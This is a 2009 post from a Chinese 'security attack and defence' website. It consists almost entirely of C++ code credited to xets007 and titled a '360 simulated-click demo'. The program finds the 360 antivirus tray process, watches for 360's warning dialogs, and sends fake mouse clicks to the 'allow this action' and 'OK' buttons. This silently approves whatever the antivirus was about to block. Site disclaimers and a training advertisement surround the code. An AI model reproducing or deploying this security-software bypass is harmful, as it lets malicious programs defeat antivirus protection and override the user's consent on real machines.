黑基Web安全攻防班
安基网 首页 IT技术 安全攻防 查看内容

360 模拟点击demo

2009-8-16 13:33| 投稿: security

摘要: #include <iostream.h>#include <windows.h>#include <tlhelp32.h> BOOL Pass360();D...

免责声明:本站系公益性非盈利IT网站,本文由投稿者转载自互联网,文末已注明出处,其内容和图片版权归原作者所有,文中所述不代表本站观点,若有侵权或转载不当之处请从网站右下角联系我们处理。

#include <iostream.h>#include <windows.h>#include <tlhelp32.h> BOOL Pass360();DWORD FindProc(char *szExeName);DWORD WINAPI Find360Thread(LPVOID lpParam);DWORD WINAPI Kill360Thread(LPVOID lpParam); int main(){cout<<"~~~~~~~~~~~~~~~~~~~Test 360~~~~~~~~~~~~~~~~~~~~~~"<<endl;cout<<"~~~~~~~~~~~~~~~~CodeBy:xets007~~~~~~~~~~~~~~~~~~~"<<endl<<endl;if(!Pass360()){   cout<<"Can Not Find The 360 Process!"<<endl;   return 0;}while(1)   Sleep(1000*60*6);return 0;} BOOL Pass360(){BOOL stat=FALSE;if(FindProc("360tray.exe")){   stat=TRUE;   HANDLE hTemp=CreateThread(NULL,NULL,Find360Thread,NULL,NULL,NULL);   CloseHandle(hTemp);}return stat;} DWORD FindProc(char *szExeName){DWORD stat=0;HANDLE handle=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);PROCESSENTRY32 pe;pe.dwSize=sizeof(PROCESSENTRY32);if(Process32First(handle,&pe)){   if(stricmp(szExeName,pe.szExeFile)==0)   {    stat=pe.th32ProcessID;   }   while(Process32Next(handle,&pe)!=FALSE)   {    if(stricmp(szExeName,pe.szExeFile)==0)    {     stat=pe.th32ProcessID;     break;    }   }}return stat;}DWORD WINAPI Find360Thread(LPVOID lpParam){cout<<"Finding Thread is working now !"<<endl;HWND hCurrent;DWORD dwStyle;HANDLE hTemp;char *szButtonOK="确定";char *szButtonPass="允许此动作";char szClassName[256];while(1){   Sleep(1);   hCurrent=GetForegroundWindow();    memset(szClassName,0,256);   GetClassName(hCurrent,szClassName,256);   if(stricmp(szClassName,"Afx:400000:0")==0)   {    dwStyle=GetWindowLong(hCurrent,GWL_STYLE);    if(0x94000008 == dwStyle)    {                             cout<<"Find A Active 360 Window!"<<endl;     hTemp=CreateThread(NULL,NULL,Kill360Thread,szButtonPass,NULL,NULL);     WaitForSingleObject(hTemp,INFINITE);     CloseHandle(hTemp);     hTemp=CreateThread(NULL,NULL,Kill360Thread,szButtonOK,NULL,NULL);     CloseHandle(hTemp);    }   }}return 0;}DWORD WINAPI Kill360Thread(LPVOID lpParam){UINT i;char szClassName[256];char szWindowText[256];char *szButtonName=(char*)lpParam;for(i=0;i<1024*888;i++){   if(IsWindow((HWND)i))   {    memset(szClassName,0,256);    GetClassName((HWND)i,szClassName,256);    if(stricmp(szClassName,"Button")==0)    {     memset(szWindowText,0,256);     GetWindowText((HWND)i,szWindowText,256);     if(stricmp(szWindowText,szButtonName)==0)     {      HWND temp=GetParent((HWND)i);      char tempstr[256]={0};      GetClassName(temp,tempstr,256);      if(stricmp(tempstr,"Afx:400000:0")==0)      {       cout<<"Send A Click Message To The Button:"<<szButtonName<<endl;       SendMessage((HWND)i,WM_LBUTTONDOWN,NULL,NULL);       SendMessage((HWND)i,WM_LBUTTONUP,NULL,NULL);      }     }    }   }}return 0;}

小编推荐:欲学习电脑技术、系统维护、网络管理、编程开发和安全攻防等高端IT技术,请 点击这里 注册账号,公开课频道价值万元IT培训教程免费学,让您少走弯路、事半功倍,好工作升职加薪!



免责声明:本站系公益性非盈利IT网站,本文由投稿者转载自互联网,文末已注明出处,其内容和图片版权归原作者所有,文中所述不代表本站观点,若有侵权或转载不当之处请从网站右下角联系我们处理。


鲜花

握手

雷人

路过

鸡蛋

相关阅读

最新评论

最新

返回顶部